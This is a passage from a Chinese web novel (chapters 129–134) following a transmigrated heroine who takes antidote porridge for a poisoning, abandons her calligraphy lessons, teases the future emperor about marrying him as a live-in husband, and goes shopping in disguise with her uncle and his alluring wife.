“我会尽快改良药方的,这几天初次接触以往从未碰到过的毒药,该用什么药材以及剂量有些拿捏不准,再过几天,我对碧落和红颜大致了解透彻之后,我会想办法,往药粥里加一些甘草之类的东西中和药味儿的,到时候就不会那么难喝了。”
程医远这话说得一本正经,全然不像是在开空头支票的模样。
叶绒盯着人看了好半响,最终还是选择了听信他说的话。
毕竟,放弃自己的生命,说起来容易,做起来难。
她活到这么大大,着实不容易,要是当真在这里嘎了,逢年过节的,谁去给她爸妈烧纸送东西啊?
这么想着,叶绒勉强说服了自己。
眼看她接受了程叔开的空头支票,谢阔几不可见的松了口气。
他重新把药粥推到她面前,“都快凉了,赶紧喝吧。”
喝了这顿还有下顿,等喝习惯了,接受了药粥的味道,就好了。
并不知道自己吃完这波苦,还有下一波苦等着自个儿的叶绒,是捏着鼻子往下给自己强行硬灌的药粥。
她边灌,边默默安慰自己饱受折磨的胃。
小可怜,等毒解了,我一定会好好吃几顿,补偿补偿你的!
现在,就麻烦你忍忍叭!
第一百二十九章 她喜欢听!
叶绒强迫自己忍了好几天,方才稍稍习惯了些药粥的味道。
因为已经快被药粥逼出了厌食症的缘故,实在没有其它东西可以吃,无法甜甜嘴儿,叶绒只得另想办法,找些别的事情做,以期来转移自己的注意力了。
叶绒本来是想,跟着谢某人一块儿练练书法来着,这样,等她小有所成回了现代之后,说不定还能靠此成为一代文人来着!
但是吧——
只能说计划赶不上变化。
她着实是高估了自己的耐心。
在谢某人手把手教她写完某个字之后,给了她临摹的字帖并一些笔墨纸砚,完了,整个书房里就彻底的静了下来。
只除了谢某人翻阅公文批字的声音,和她写字时发出的那些微动静以外,全然没了其他动静。
静的人心里发慌。
本来练字是想静心,顺带为了以后的装杯做一些前奏准备,但事实向叶绒证明,她着实是高估了自己的自制力。
她不仅没有当皇帝的谢某人的那颗聪明的脑袋,也没有他那份超乎常人的勤勉,所以,没几天的功夫,认清现实后的叶绒,就果断的放弃了继续为难自己。
这做人呐,还是要知足常乐!
想通了的叶绒,本还在有气无力的勉强写字,只一个眨眼睛的功夫,就变得精神了。
谢阔正批阅着公文呢,看她笔一撂,人一从椅子上起身,就跟挣脱了禁锢的小鸟一样,想往外飞,去外面自由的花花世界里,翱翔畅游的模样,他在心里轻啧了一声。
Emmm……
比他预计的时间,还要短了一点儿。
他本来还以为,她能再坚持几天,才撂挑子不干呢!
连那些两天打鱼三天晒网的人都不如,怪不得都这么大的人了,还连字都写不好。
找到叶绒写出了一手软趴趴的狗爬字的原因之后,谢阔内心很是感慨。
也是难为她幼时的教学师傅了,虽然没把人懒惰性子给扳正过来,但最起码,教学师傅在她一众家人对她的溺爱之下,好歹让她学会了认字,该教的一些成语典故之类的东西,也都正儿八经的传授到位了。
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“啪!”
男人手中毛笔与砚台相碰,发出的清脆响声,吸引了叶绒的注意力。
因为不想打扰他接着努力的缘故,正想不着痕迹跑路的叶绒,直接被这声音给吓了一跳。
“怎、怎么了啊?”叶绒站在自己与男人仅隔了两个空位的座椅旁,一脸懵逼朝他看去。
“你要去哪里?”
“我写字写累了,不想写了,想出去看看,呼吸呼吸外面的新鲜空气。”
叶绒这话说的那叫一个理直气壮,俨然没有一点心虚,或者不好意思的样子。
男人闻言,看着她,唇角缓缓勾起。
“是谁说的,想让我教她写出铁笔银钩的字,勤练苦写,力争在短短几年的功夫内,成为一位书法大家?”
叶绒:“……”
她呵呵一声,皮笑肉不笑的扯了扯嘴角,梗着脖子反问,“怎么了,你不相信我?”
男人不置可否,只回以一个淡淡的眼神。
“那你还真是做对了!”
叶绒一点都不脸红的自问自答。
“你不相信我,一点都没毛病,”
叶绒这话说的,那叫一个厚脸皮,并且脸色肉眼可见的,还带着些自豪。
谢阔:“……”
熟悉的感觉,又来了。
男人很是无奈的闭了下眼,径直接话,替叶绒把后面的话,给说了出来。
“因为你是女人,连伪君子都称不上,所以你说过那些,没有白纸黑字的写出来,让你签字画押的话,都不作数,对吗?”
“嗯哼。”叶绒给了他一个赞赏的眼神。
彼时并不想和她心有灵犀的谢阔:“……”
他抬手捏了捏山根。
“你有听过这么一句话吗?人要脸,树要皮。”
叶绒闻言,直接接话道:“我只知道人不要脸,天下无敌。”
至于这句话的前半句话是什么?
她一个连自己名字都不会写的文盲,哪里知道啊?!
四目相对,看着叶绒一脸无辜的模样,谢阔狠狠闭了闭眼。
“所以,你让我手把手的教你写字时,为了让我出手,许诺给我的事情,也不作数了?”
叶绒:“……”
万万没想到,男人兜了这么大一个圈子,到最后竟然是为了这么点儿事。
叶绒很是豪爽的,拍着胸口给人又画了个大饼。
“你放心,等我在外面晃悠够了,回头没事儿可干的时候,肯定还会接着回来练字的,待我笔力大成,答应为你写的诗作的画,我肯定会给你的。”
“刚好我现在有空,先出去想一想,以后要写一首什么样的夸赞你的诗,以便流传千古,让后世之人瞻仰。”
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叶绒吹起牛皮来,一点都不心虚 。
毕竟,他都已经说过了,她是女人,连伪君子都算不成,更别说是像君子一样信守承诺了,所以啊,有的话,听听就过了!
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对此,谢阔表示,以前天上掉落的馅饼,他都吃到了,那这回她亲手给他画的大饼,他也要吃到嘴里。
不然——
他不甘心!
从未做过亏本买卖的男人这么想着,心里已经有了个能再把人拘在身边,老实一段时间的主意。
这么想着,男人似乎被她的话给打动了一样,看着她的样子,非常的感动。
“我还以为你字练了好几天,没个进展,已经放弃了,打算说话不作数了呢;没想到你竟然这么有担当,承诺的事情的事情,无论怎样都决议要做到!”
谢阔甫一开口,先给叶绒戴了顶高帽子。
叶绒:“……”
不是,她随口胡咧咧的话,他怎么就信了?
叶绒着实弄不懂男人的脑回路。
话说,古今差异有这么大吗?
看着目瞪口呆的,因为他的话,一脸懵逼的少女,谢阔深吸一口气,似乎做下了一个很是艰难的决定。
“既然这样,那我也就不为难你了。”
叶绒:“……”
她最讨厌说话大喘气的人了。
不过,看在他这回说的话,她那么爱听的份上,她就原谅他了!
好话,会说,多说点儿。
她喜欢听!
第一百三十章 他不信
“写诗作画太为难你了,更谬论让佳作流传下去,要不然这样吧,诗我来写,画我来作。”
啊嘞?
万万没想到,自己竟然会听到这话的叶绒:“……”
不是,他这是对她许诺的诗画,有多执着啊?
亦或者,这就是他本来的打算?!
Emmm……
万万没想到,谢某人竟然这么自恋,妄图写诗作画夸自己不说,还想让佳作流传千古。
既然是这样的话——
那她必须得成全啊!
叶绒这么想着,毫不犹豫的就点了下头。
“但是——”
她脸上灿烂的笑容刚扯开,正想结束话题,去外面松快松快的时候,就听到了男人薄唇里,无情吐出的这两个字。
万万没想到,这件事情竟然还有后续,叶绒:“……”
看吧看吧,这就是她讨厌别人说话时,大喘气的原因。
咋滴啊,看她情绪起起伏伏的,跟过山车一样颠簸,是感觉很好玩儿吗?
对上少女的死鱼眼,知道自己这番话招了人不喜的谢阔,虽然很想把后面的要求,一股脑的吐露出来,但考虑到某件事情,谨慎起见,他还是先提前问了一句。
“你琴棋书画管家女红哪样精通?”
其实,男人着重想问的是最后一样。
书画就不用说了,她在书房待着的这几天,他完全摸清楚了。
至于琴?她虽然五指纤长,一双手白嫩软滑,但完全不像是练过琴的样子,所以这一项应该也是没指望的。
而棋那就更不用说了,围棋这种那么考验人脑子的东西,她莫说是精通了,恐怕连下棋的基本规则,都没掌握住。
管家之事也甭提,倘若她真认真跟随家中长辈学过管家之术的话,那定然是知道柴米油盐的贵处和挣钱的难处的,又怎么会养成那种大手大脚花钱的习惯?!
女子立身六样本事,她五样都不行,那最后一样,不说精通,最起码应该还能拿得出手吧?
谢阔是这么想的。
他问出这话的本意,也只是因为谨慎惯了,所以想确认一下罢了。
谁曾想——
叶绒听到男人说的话后,直接想都不想的就摇头了。
“你说的这些,我一个都不会。真要在矮子里挑个将军的话,那就只能是书了。毕竟我好歹跟着你,在这里练了几天的字。”
至于其它的,呵呵……
正想让眼前人儿,把他作的诗画的画绣出来的谢阔:“……”
男人已经到嘴边的话,愣生生的卡在了喉咙里,吐也不是,咽下去也不是,那叫一个尴尬难言。
沉默几息之后,谢阔抿唇扶额,摸着脑袋上的青筋,轻声道:“那我能问一下,你都会什么吗?”
男人想了好半天,愣是没想到叶绒有哪项才艺傍身。
“我会吃。”
叶绒这话回答的,那叫一个毫不犹豫。
哦、不对!
她现在已经不能随性的胡乱吃东西了,所以,彼时她仅有的一项长处,也没了。
Emmm……
这可真是一件令人悲伤的事情。
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整个人都已经快裂开的男人,听到叶绒的话,额角青筋重重跳了一下。
她嘴那么叼,他当然知道她很会吃东西了,但是——
“……除了这个呢?”
叶绒闻言,嘿嘿一笑,什么都没说,只给了他一个眼神。
谢阔:“……”
此时此刻,他深恨自己,为什么对她的某些小表情,了解的那么透彻?!
“如果我没记错的话,姑娘家嫁人,嫁衣都是自己绣的,你不会女红的话,将来成亲的时候,你的嫁衣怎么办?”
谢阔这话问的,那叫一个真心实意。
就算是不说这一点,她将来成亲之后,难道就没想过夫妻生活蜜里调油时,亲手给丈夫绣上一件里衣,以便夫妻生活更加和睦吗?
退一万步来讲,就算她年少,没有考虑过这一点,难不成他未来岳母,也没有想到此处吗?
再怎么是根独苗苗,为了她成亲之后,夫妻生活能更加甜蜜一些,这些世间女子掌握的基本技能,她家里人就算没考虑把她教的样样精通,应该也会让她学会一丁半点的吧?
老实说,他不信,里衣这么简单的东西,她都不会做!
这么想着,男人的桃花眼,一眨不眨的看着叶绒。
然后——
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四目相对,谢阔是越看越心凉。
只因为,叶绒没有一丁点儿撒谎的迹象。
那,这岂不是证明了,她当真琴棋书画管家女红,样样不通?
只稍微这么一想,谢阔整个人就都不好了。
Emmm……
看他颓靡的样子,叶绒杏眸微眨,突然想到了一个能让他合理的知难而退的理由。
“嫁衣这种东西,我为什么要会绣啊?别的姑娘家会女红,是因为他们要嫁人,嫁人之后要给公婆丈夫做荷包之类的东西,但我又不用嫁人,我爹娘也不用我给他们秀东西,”
“但你要是一点女红都不会的话,改日让绣娘把嫁衣给你绣好之后,你岂不是连意思意思的在嫁衣上缝几针,都做不到吗?”
这是谢阔以前从来没有考虑过的事情。
叶绒闻言,毫不在意的一挥手,“这有什么,别的女人出嫁从夫,所以要有绣功,但我不需要,我将来可是要找人入赘的,嫁衣什么的,回头让男方来绣就行了,这世上男人那么多,总有男的琴棋书画管家女红样样精通的,对吧?”
叶绒这话说的那叫一个轻松,丝毫不觉得她给人扔下了一个惊天大雷。
谢阔:“……”
看着能这么神情自若的,把这段话说出口的叶绒,倘若之前没有人给她特意灌输这种念头的话,他是绝对绝对不会相信的!
所以,这是她爹娘看她懒得学习,想出来的好主意?!
有的技能,虽然是一个家庭,能和睦相处长久所必备的,但组成家庭的男女,双方有一个人会就行了,不拘男女,对吗?
想明白了这一点的谢阔:“——”
倘若中招的人不是他的话,他当真想给老谋深算的未来岳家人,竖上一根大拇指,以表示心中敬佩!
第一百三十一章 不太好
谢阔因为他未来老丈人的谋算,沉默了很久。
老谋深算get.
只能说,感谢他娘亲,身为一个标准的世家贵女,琴棋书画这些个技能,她小时候,愣是压着他,在闲暇时间,都学会了。
用他娘亲的原话来说就是,学会了琴棋书画,不仅能附庸风雅,让自己的气质更上一层楼,待到来日成家之后,还能和妻子之间有些共同话题,不至于两人干巴巴的,相顾无言。
对于此事,他父亲并没有干涉,只要求他学好君子六艺,至于其他的,全看他兴趣。
他父亲都这么说了,再加上他小时候精力比较充沛的缘故,为了不让母亲失落,自然而然的,琴棋书画这些个技能,他跟着家里专门请来的教习师父,都学会了。
精通不至于,但最起码能拿得出手。
至于管家这项技能?
谢阔沉默了片刻,在内心斟酌了一下。
他御下之术还可以,管家和御下,总的来说,应该区别不大吧?
毕竟,都是属于管理这一部分的,想来,以他这些年的御下经验来看,应该很容易融会贯通。
那这一点,他就没必要担心了。
只剩下最后一点——
女红!
Emmm……
这是一项,他全然没有接触过的技能。
在谢府的时候,他衣服还没穿破就扔了;至于在军营中的时候,他哪件衣服要是破了,自然也会有专门的人来缝缝补补之类的。
这些个小事,他完全不用理会。
只能说,他知道如何穿针引线,还是因为母亲在时,他去请安时,偶尔看到她在摆弄针线的时候,看会的。
这是他对女红仅有的了解。
但是吧——
记得母亲给他和父亲绣荷包缝制衣服的时候,手特别的灵巧,并且她还能一边绣荷包,一边和他闲话家常……
做女红的时候,能够一心二用什么的,想来,这应该是一件比较简单的事情吧?
谢阔这么推测着。
他也不指望自个儿学的有多精通,和那些个专门做女红的绣娘之类的比绣工什么的,那是完全没必要的一件事情。
他只希望,自己突击学习上一段时间之后,改日在他们两人的嫁衣上,他能稍微出上那么一点力。
谢阔这么想着,已经在内心隐隐做下了决定。
从现在开始,到他们成亲这段时间,他每天抽出来一点时间,和绣娘学习女红,勤学苦练一些,拿出少年时跟随父亲学习兵法的勤奋劲儿来,想来过不了多久,应该就能出师了……吧?
谢某人看着自己衣袖上低调精巧奢华的腊梅,有些不确定的想着。
并不知道他内心已经做下了什么决定的叶绒,眼看男人沉默了,内心深感有戏。
于是,叶绒一点儿都不着急着走了。
“我以后想找一个琴棋书画管家女红都会的人,入赘到我们家,方便日后他闲着没事时,给我蓝袖添香,洗手做羹,缝制衣物,你觉得可以吗?”
叶绒一张嘴,就是刻意的为难,想让谢某人知难而退的她,摆足了一副封建大男人的嘴脸。
孰料,男人听到她的话之后,脸色变都没带变一下的,他只淡淡掀了掀眼皮,看了她一眼,便给出了承诺。
“放心吧,我入赘之前,你说的这些,我该学的都会学的,日后在岳父岳母大人考察的时候,定能拿得出手,绝对满足你的要求,不给你丢脸。”
他知道她心里的想法,但想甩掉他?
不可能!
看着云淡风轻的朝她扔了一个大雷的男人,叶绒:“——”
别问,问就是她有种想掐人中的冲动!
不是——
叶绒怎么着都想不明白,他怎么就认准了她了呢?
她承认,她长得是好看了点,面容妖娆,身材丰满,单看长相,整一个前凸后翘的大美人,但是……
古代美人多了去了,环肥燕瘦,各有千秋,身为一古代未来帝王,你特么的不说要有三千佳丽,那怎么着也得经历几个美女,才说的过去吧?
何必死磕在她一个注定要回现代的人身上呢?!
要知道,道不同不相为谋!
可惜,这话,叶绒不敢说出来。
看着已经打定主意,一个人干两个人的活的男人,叶绒内心隐隐有种憋屈的感觉。
他这是摆明了,要让她当渣女啊!
该说的都说了,深感自己实在和身旁男人无法沟通的叶绒,只得深深叹了口气,摇头离开了。
对此,谢阔并没有阻拦。
他只沉默的盯着叶绒的背影,放她离开了。
与其眼睁睁的看着她,在这里自行玩乐,还不如放她出去快活,这样的话,他忙上加忙的时候眼不见为净,心里也不用那么堵得慌了。
叶绒从书房里出来之后,那是越想越憋屈。
她在院子里使劲儿吸气吐气,来回反复了好几次,都没能把心里那股憋屈的感觉疏散开来。
你说,这都叫个什么事儿啊?
她想开导自己,渣渣更健康。
——但却过不去心里那关!
猫猫叹气.jpg
这该死的道德感,怎么就不能降低点要求呢?
祖国教的好,烦恼少不了,不想当人渣的叶绒,越想越难受……
她最终决定出去逛逛,好好散散心。
不求船到桥头至自然直,只希望能松快松快。
话说,她都来边城好几天了,整天被药粥折磨的蔫儿了吧唧的,也该出去花花钱,买买买,让自己开心开心了。
她是大中午的,喝完药粥之后,实在没事情干了,又不想躺床上刷手机,所以跟着谢某人一起练字的。
完了,从她今天进书房,到她出来为止,连一个小时都没过去,这就意味着,现在撑死了就是未时,离天黑还早着呢,足够她在外面好好溜达溜达,再回来了!
当然,出去之前,叶绒觉得,她还是有必要给自个儿画个妆,易易容的。
这倒不是为了防,已经快把她老底儿都给掀穿了的谢某人及其属下了。
主要是吧,她便宜大伯母还在隔壁住着呢,身为女眷,让她看到她的脸,不太好!
第一百三十二章 怀疑
叶绒觉得,虽然她便宜大伯和便宜伯母在书里都没有出现过,但她自个儿导致的蝴蝶效应已经够多了,所以——
为了安全考虑,叶绒已经打定了主意,在边城这边待着的时候,但凡见外人,都要先提前给自己易容一下,哪怕时间来不及,最低最低也要戴个帷帽,省得被一些六年后,她有可能遇到的人,看到真容。
想到这里,叶绒突然想到便宜大伯,已经知道她长什么样子了。
Emmm……
她记得,她前几天哭着让谢某人答应,别关注叶家的时候,他似乎说过,日后要让叶守武当他的心腹,代他镇守边境来着。
如果是这样的话,那……
将来没什么意外的话,六年后,她和她便宜大伯,应该是见不了面的。
这么一想,叶绒就感觉事情好办多了。
一个在书里没有出现过的,叶家也没有人提起过的便宜大伯,她只要想办法封住他的口,让他不要对任何人提起她的真容,那她就不需要担心,他日后有可能,会影响到她走剧情了。
Emmm……
封口什么的,这种事情,她已经做的多了去了,早就是个熟手了,Soeasy!
这么一想,叶绒的心情,一下子就放松了不少。
不只是因为这一隐患解决了,更重要的就是,她看到了一点,和谢某人建立了亲密关系的好处。
——方便她扯大旗,干坏事!
总算不全是麻烦事儿了。
至于日后的话,她只能走一步看一步了。
实在不行,她要是注定了要当渣女的话,大不了离开这个世界的时候,用拼夕夕买点东西,给谢某人作为补偿。
叶绒在心里这么告诉了自己一声之后,就把烦心事全给抛在了脑后,梳妆打扮换衣服,逛街!
只能说,女生热爱逛街,当真是天性,哪怕她这会儿出门,不能在外买好吃的东西了,但这也影响不了叶绒的开心。
当叶绒终于调整好心情,收拾好自己,从房间里出来的时候,她还没走出院门呢,就在出去的路上,迎面撞上了一个大熟人。
当真是——
说曹操曹操到!
叶绒看着迎面走来的,一身武将打扮,长得人高马大,面容硬朗,哪怕面无表情,但都给人一种憨厚感觉的男人,脸带笑容。
真巧.jpg
她刚刚还在念叨叶守武呢,他这就来了!
叶守武见到少将军的院子里,突然出现了一个陌生姑娘,他愣了一下。
自少将军来边城这么久,他从未在他身边见过,除了军营中那个作男子打扮以外的姑娘家以外的异性。
虽有些诧异,但为了避嫌,叶守武在看到叶绒那刻,也没停下打探她是谁,他只轻轻对叶绒点了下头,以示友好的打了下招呼。
叶绒回以一个礼貌的笑容。
鉴于好不容易把自己情绪安抚好了,她现在并不想和人说那些有的没的事情,毁了自己即将出去逛街的好心情。
左右,她还要在边城待很久呢,和便宜大伯见面的时候多了去了,且不急在这一时。
这么想着,叶绒很是坦然自若的,和叶守武擦肩而过。
孰料,她刚从便宜大伯身边走过,还没走两步路呢,就猛的被男人伸手拽住了右胳膊。
“你是何人?”
叶守武厉声呵斥。
与此同时,他的手直接压上了叶绒右手手腕,仔细探了一下她的脉。
确定眼前人身无内力,是个在他手底下完全过不了一招的普通姑娘家之后,叶守武方才松开手,拦在了叶绒的面前,阻住了她的去路。
叶守武看着眼前面容普通的少女,目光带了些试探。
“某从未在少将军身边见过你,你是谁派来的?”
且不说少将军身边出现异性本就是一件稀奇的,值得营地众人讨论八卦的事情,单就一点,就足够他怀疑他了。
眼前这人给他一种熟悉的感觉,尤其是她刚刚笑起来的时候,那种熟悉感就更浓了。
但是——
他确定,他从未见过她!
这很不对劲。
正当叶守武心疑,眼前人是否是其他几个州的人,派来的探子的时候,因着他的声音,书房的门,被人由里到外打开了。
“少将军。”
叶守武对来人拱手抱拳行礼。
谢阔轻轻颔首。
叶绒:“……”
她无奈转身回看过去,又重新跟人打了声招呼,“我想出去看看。”
她甫一出声,叶守武瞬间就认出来了她是谁。
叶守武:“——”
他看着叶绒那张平平无奇的脸,想到她昨个儿不施粉黛的艳丽模样,男人脸上表情,肉眼可见的空白了一瞬。
这世上竟然还有这么厉害的易容术吗?
恐怖如斯.jpg
谢阔已经许久未见叶绒这种打扮了。
看她面容普通,声音粗糙的模样,谢阔眸色沉了沉。
她这身打扮,是在防备谁呢?
想不通隔壁住着的叶家人,到底有什么让她这么在意的地方,谢阔对叶绒没说什么,而是转眼看向了叶守武。
“你来此可有急事?”
“……属下来禀报一下,军中一些事情。”叶守武道。
因为他是打着他亲戚的名义住过来的,所以他这几天,有事没事就会往这里跑一趟,在周围邻里那里坐实一下他们的身份。
一来,防止那些个不长眼睛的人,过来找茬;二来,则是起到一个迷惑城中,其他几个州的线人的目的。
“既然没什么大事的话,那择日不如撞日,来这里好几天了,我们一起出去逛逛吧。”
谢阔这话是对两人同时说的。
万万没想到一人独行,眨眨眼的功夫,就变成了三个人一起走,叶绒傻眼了。
她是出去散心的,带着让她烦恼的源头出门,这算是散的哪门子心?
这么想着,叶绒婉拒了下。
“我们三个人……”
叶绒视线在两个大男人身上一扫而过。
她停顿了一下,方才接着道:“我们一起出门,不太好吧。”
叶守武闻言接话道:“我可以把我媳妇叫来,我们一起出去逛逛。”
公费和媳妇一起逛街什么的……
嘿嘿嘿.jpg
只稍微这么一想,叶守武就乐了!
第一百三十三章 温柔蛊惑的人
因为叶守武这一句话,一行四人,两男两女一同走在大街上,虽然没有成为一道靓丽的风景,但也迎来了不少过往行人的回头,频频侧眸的观看。
无他,实在是因为,一行四人,三个靓男美女,一个普普通通的,太过于格格不入了。
和她温柔漂亮大伯母一起走在两个男人前面的叶绒,对于一众人围观的情绪,感受的分外明显。
毕竟,那些人频频回望过来的遗憾眼神,都已经快把她给淹没了。
本想平平无奇,融入人群中,玩个嗨的叶绒:“……”
失策了.jpg
主要是,她也没想到,她便宜大伯母,竟然长得那么有气质啊!
单看长相的话,她便宜大伯母温温柔柔一妇人,看起来简直是照着古代贤良淑德的大户人家的正头娘子的模板,长出来的,不仅长相温婉可人,就连说话时,语气都轻声细语的,给人一股扑面而来的文雅劲儿。
就——
甭管是二流子还是疯癫子,到了她面前,都会情不自禁收敛起来,变得规规矩矩的那种。
倘若只是这样的话,和便宜伯母走在一起,她虽然有点儿显眼,但也不至于夸张到,能让过往行人,驻足回望的地步。
主要是吧,她便宜大伯母,不仅人长得温柔,说话也温柔,更重要的是,她的气质是温柔中夹杂了魅惑的那种。
举手投足间,一个眼波流转,就足够人回味无穷了。
莫说是过往行人了,就算是叶绒这个看惯了自己的长相,对美貌已经有了一定免疫力的人,和便宜伯母说话闲聊时,偶尔都会有那么一瞬间的恍神。
叶绒觉得,倘若这世上,荷尔蒙能成精的话,那她身边的女人,一定是荷尔蒙成精的具现化。
所以,对于她便宜大伯,偶尔走在大街上,看自个儿媳妇,看的眼睛都瞪直了的模样,叶绒不止没有一点嘲笑,甚至还很是感同身受。
换她,她要是有了这么一个老婆,别说是成亲几年了,她就是和人家生活一辈子了,被温柔漂亮的蛊惑系老婆笑容一勾,眼神一拉,照样该嘶哈还是嘶哈。
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这世上,怎么会有这么温柔蛊惑人心的大美人呢?
和自称蔷薇的大伯母比起来,叶绒都觉得,自己的长相不算什么了。
蔷薇看着叶绒眼中明晃晃的欣赏,笑了笑什么都没说,任由身旁少女,看着她发愣。
毕竟,在那腌臜地方苦练了十几年,为了生存刻进了骨子里的东西,并不是那么轻易就能抹掉的。
不过,好在身旁少女的眼里,没有让人难受的东西存在。
直到叶绒反应过来,又开始懊恼的时候,蔷薇方才开口。
“紫玉阁最近新运过来了一批首饰,厍小姐要和我一起去看看吗?”
叶绒听到这话,想都不想的点了一下头。
“你想买什么样的首饰啊?说出来,我帮你参考一下。”
叶绒听到漂亮伯母这话,直接道:“我想买暖色的玉镯,或者是玉簪之类的。”
只有这么温柔的颜色,才配得上她漂亮伯母。
当然,她送人礼物,是肯定不会像傻x似的,打着给初次见面的亲戚送礼的名号的。
正所谓,遇事不决找帮手;同样的,没有理由送出去的礼,也可以找借口送。
这种时候,就不得不感谢一下她便宜大伯了。
不仅是因为他,让她拥有了一个这么温柔好看的伯母,更主要的原因是他眼光好,早早的找到了明主投靠。
在这种情况之下,她借着谢某人亦或者是谢府的名声,给便宜大伯媳妇送点儿玉镯玉簪什么的,那是完全说得过去的。
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看着眼睛都快黏人家媳妇身上了,甫一开口,就把自个儿意图全都暴露出来的叶绒,谢阔简直是没眼看。
“——”
得亏今儿个,跟着一起出来的这对小夫妻,和她相处的时间短,还没了解透她的真面目,以至于他好歹不用跟着她一起丢脸了。
虽然在叶守武夫妻看来,她可能是很久没和同龄人相处了,再加上两人说话的时候,聪慧温柔的叶夫人,从未让她的话掉到地上过不说,还不着痕迹的对着马屁拍了又拍,以至于她和叶夫人相处起来有些激动,显得很是高兴。
但自家人知道自家事,看着分明已经被别人家的夫人的美色,迷花了眼的叶绒,谢阔:“……”
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思考人生.jpg
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哪怕已经跟在两人身后,看了一路了,仍旧没能适应叶绒这副痴汉模样的谢阔,捏了捏山根,很是头疼的上前。
男人侧身挡住叶绒的视线,低头看向她,“需要我提醒你一下,你荷包里还有多少钱吗?”
贫穷使人清醒。
男人这盆冷水泼的非常到位,一下子,就把叶绒已经黏在了香喷喷伯母身上的三魂六魄,给拉回了身体里。
想到自己刚刚说了什么的叶绒:“……”
叶绒反应过来之后,连忙抬头看向身旁男人,暗示着道:“我觉得,做人要言而有信。”
说着,叶绒给了谢阔一个眼神,寄希望于两人相处久了,心有灵犀。
一点都不想接受她传达过来的信号的男人,假装自己短暂性失明失聪了。
呵呵。
花他的钱给别人养老婆,他像是那种傻子吗?
男人没接叶绒的话,但却在心里送给了她一个白眼,以示嫌弃。
知道他的沉默代表什么意思的叶绒:“……”
为了不在让她嘶哈的对象面前丢脸,叶绒咬着牙,面不改色的凑近谢阔小声道:“我拿东西跟你换。”
男人闻言,回以一个一言难尽的眼神,“你觉得我缺你那几颗三瓜两枣?”
谢阔的拒绝显而易见,并且还是斩钉截铁。
叶绒:“……”
她想了想自个儿拼夕夕里,只剩下了区区四位数的余额,又想了想古代玉簪玉镯的价格……
叶绒这回很快就清醒了,不敢再放任自己,沉迷在便宜伯母的温柔乡里。
别问,问就是穷人,不配追星!
第一百三十四章 自信
叶绒看了看断了她美梦的男人,又侧身看了看被谢某人挡在身后的漂亮伯母,她抿唇,很是含蓄的笑了一下。
虽然初次见面,但相信温柔大美人人品的叶绒,一点都没有窘迫的坦言,告诉了她,自个儿囊中羞涩的事实。
蔷薇:“……”
懂了,她后悔了,在婉拒。
那必须得同意啊!
叶绒说完之后,看漂亮伯母面无异色的样子,她还很为自己的眼光自豪。
“不过,我虽然首饰玉器之类的买不了了,但一些针线布匹什么的还是能买的起的,叶夫人平常在家里的时候,会给叶参将洗手做羹,缝衣制裳吗?”
叶绒后面那句话,本来是为了缓和气氛随便问的,孰料——
听到她这话之后,一向能很好的瞅准时机接话的蔷薇,这回却沉默了好一会儿的功夫,只沉默的叶绒不解,都快产生怀疑了……
蔷薇方才笑着面不改色的道:“庙小事少,我们家里就只住了我们两个人,因此家里的活计,是两个人分工干的……”
蔷薇说着,给了叶绒一个你懂得的眼神。
她在家里只负责貌美如花。
叶绒:“……”
讲真,她当真宁愿她不解释这一下的,亦或者,随便嗯嗯啊啊的随口糊弄下,糊弄过去就可以了。
这种事情,干嘛解释的那么认真,让她羡慕嫉妒恨呢?!
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叶看着蔷薇沉默不语。
非常熟悉的表情,非常熟悉的语言,再配上她临出门之前,和谢某人说的那番堪比封建大爹的话……
都到这份上了,她还有什么不懂的呢?
没想到啊,没想到啊,有的人长的五大三粗的,做起事情来面无表情的,结果回到自个儿家里,门一关,就跟变了个人似的。
完全就判若两人呐!
要知道,一男的洗手做羹,缝缝补补什么的;这种事情,在现代都有很多大男子主义的人接受不了,看着别人当家庭主夫,都跟天塌了一样,更别说是把这种事情联系到自个儿身上了。
真让他们做的话,那怕不是能闹得天翻地覆,人仰马翻,鸡犬不宁。
而她便宜大伯呢?
在这个爱妻的男人,结婚之后就被称为惧内的封建时代;一个男的,莫说是洗手做羹,缝缝补补之类的了,他就是给自个儿老婆,倒盆洗脚水,怕不是都有很多人,围着指指点点的说,妄图把他这一在这个时代被称作不正当的坏行为,给改正过来。
这么想着,叶绒沉默了好半响,都不知道该说些什么,来缓和一下气氛。
好在没一会儿的功夫,他们就进了一家成衣店,偌大的店铺,不仅售卖成衣,还卖布匹之类的东西,方便来人自个儿买回家,制成心仪的衣服。
叶绒在成衣店里逛了几圈,试了好几套衣服,想着手上的现银,只够购买一套了。
“……”
叶绒在大脑里,脑海风暴的衡量算计着,该如何,才能花费最少的金额,买到最合心意的衣服?
正当她在那挑挑拣拣,犹犹豫豫的时候,眼角的余光瞥到从隔壁换衣间里出来,手上拎着一大堆已经试过的成衣的蔷薇,有些拿不定主意的叶绒决定,先看一下小伙伴要怎么选。
“你试了那么多衣服,有几件合身的啊?要买几套?”
看叶绒一脸好奇的模样,已经速战速决搞定了的蔷薇,眼眸流转间,回了她一个温柔开心的笑容。
“我已经选好了。”蔷薇说着,示意叶绒往她手上看一下。
“诺,这些都是我想买回去的。”
看着蔷薇手上衣服层层叠叠的,摞起来,已经有她三分之一左右高的模样,叶绒:“……”
老实说,她有些怀疑,她便宜大伯前来豫州,投奔到谢阔这里来,有可能不是因为他有先见之明,而是纯粹因为,在谢某人手底下混,无论是文臣还是武将,薪资都很丰厚的缘故。
不然的话,就冲蔷薇这出门一趟,随随便便的,眼睛不眨一下的,都要买这么多东西的架势,莫说是一般人家了,就算是一般的富贵人家,亦或者是家底稍微薄一些的世家,恐怕都养不起这般能花的当家主母。
虽然但是——
叶绒看了下她便宜大伯母,周身那矛盾的分外吸引人的气质,“……”
这么让人嘶哈嘶哈流口水的存在,对外端庄大方,对内又是另一副让人腿软骨酥,心痒难耐的模样,人家多花点儿钱,怎么了?
完全没毛病!
就算是设身处地的,换位思考一下,这么一个老婆,她也乐意好好的娇养着。
虽然有点费钱,但没关系,她便宜大伯会打仗啊,这么一个老婆,完全养得起!
不像某人——
连找他借钱买点东西,他都不乐意!
哼.jpg
眼角的余光瞥到,被她念叨过来的谢某人,因囊中羞涩,无法给漂亮伯母争光添彩的叶绒,直接就扭过了头,莫说是搭理谢某人了,连看都不想看他一眼。
他就庆幸,她不是那些颜即正义的颜狗吧!
不然的话,好端端的,被他毁了这么一个能加深和漂亮伯母联系的大好机会,她怕不是得怄死!
叶绒本来还以为,谢某人找过来,是因为等的不耐烦了,亦或者是想没事找事去干点其他它事情,打发下无聊时光,没想到男人走过来之后——
谢阔甫一开口,就直接镇住了叶绒。
“你喜欢什么样子的手帕?”
